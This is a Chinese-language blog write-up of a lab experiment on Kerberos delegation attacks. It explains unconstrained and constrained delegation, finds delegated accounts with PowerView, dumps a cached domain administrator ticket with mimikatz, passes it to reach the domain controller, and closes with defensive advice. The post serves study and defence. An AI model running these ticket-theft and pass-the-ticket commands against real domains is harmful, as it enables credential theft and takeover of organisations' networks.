Kerberos委派攻击

0x00前言

昨天晚上在先知社区见到一篇有关Keberos委派攻击的文章。晚上在弄别的事情没有实验,早上抽空实验了一波

0x01环境

Windows server 2008 R2:192.168.1.122 (AD)
Windows 7:192.168.1.107
工具:mimikatz、keke

0x02何为委派

先知社区的解释:域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动
安全客的解释:在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派

0x03委派的分类

委派分为两种:

  • 非约束委派
  • 约束委派

非约束委派:
非约束委派在Kerberos中实现时,User会将从KDC处得到的TGT发送给访问的service1(可以是任意服务),service1拿到TGT之后可以通过TGT访问域内任意其他服务,所以被称为非约束委派。

约束委派:
由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service for User to Proxy)的Kerberos协议扩展。

0x04非约束委派的设置

在域中只有服务账户才能有委派功能,所以先把用户user01设置为服务账号。

setspn -A https/apache2.4 user01

1qfpuV.png

1qfuDK.png

之后在AD Edit查看用户可以看到,非约束委派设置好的标明
1qfrCj.png

0x05约束委派的设置

把用户设置为服务账号
1qhpRA.png

0x06两者设置后在AD EDIT的区别

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

0x07非约束委派的发现

发现域中的委派主机或账户:

通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。
查询域中配置非约束委派的账户:
Get-NetUser -Unconstrained -Domain <domain>
这里的PowerView是master分支的

1qRNRI.png

查询域中配置非约束委派的主机:

Get-NetComputer -Unconstrained -Domain <domain>

1qWdh9.png

0x08约束委派的发现

查询域中配置约束委派的账户:
(dev分支的powerSploit)

Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

1q4EOx.png

查看设置了约束委派的用户:

Get-DomainUser -TrustedToAuth -Domain www.haq.com

1q4ukD.png

查询域中配置约束委派的主机:

Get-DomainComputer -TrustedToAuth -Domain <domain>

1q4atg.png

0x09非约束委派的利用

假设域控用Administrator账号smb登录了某台域机器,那这个时候域管理员的TGT已经缓存在域机器
使用mimikatz导出内存

privilege::debug
sekurlsa::tickets /export

1qI6FU.png

最主要的是这个(域管的TGT)
1qIhO1.md.png

此时我们在没有凭证的情况下访问域控的共享C盘是没有权限的(图忘截了,下面的图顶替一下)
1qIHYD.png

mimikatz导入凭证

privilege::debug
kerberos::ptt [0;2c06d4]-2-0-40e00000-Administrator@krbtgt-WWW.HAQ.COM.kirbi
kerberos::list

1qo6Bt.png

之后我们可以使用Enter-PSSession获取一个shell

Enter-PSSession -ComputerName <主机名>(不能IP)

1qo43Q.png

0x10约束委派的利用

利用条件:

已知当前配置了约束委派的当前账户的密码

通过已知的账户名和明文密码对KDC发起请求, 得到TGT
1q7PMj.png

使用kekeo申请TGS票据(我这里失败了)
1q7nWF.png

所以下面的导入凭证,也不会认证成功
1q7lLR.png

0x11委派攻击的防御

通过上文中说到设置了非约束委派的账户权限如果被窃取那么攻击者可能获取非常多其他账户的TGT,所以最好是不要在域中使用非约束委派这种功能。
域中不需要使用委派的账户特别是administrator账户,设置为“敏感用户不能被委派”。
如果是win2012的系统也可以通过设置受保护的用户组来缓解委派所带来的危害。

1q76Ff.png

参考链接

域渗透——Kerberos委派攻击 - 先知社区
Kerberos协议探索系列之委派篇 - 安全客,安全资讯平台


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Kerberos委派攻击

本文作者:九世

发布时间:2020-02-13, 13:25:27

最后更新:2020-02-13, 14:31:43

原始链接:http://422926799.github.io/posts/4d3be28.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录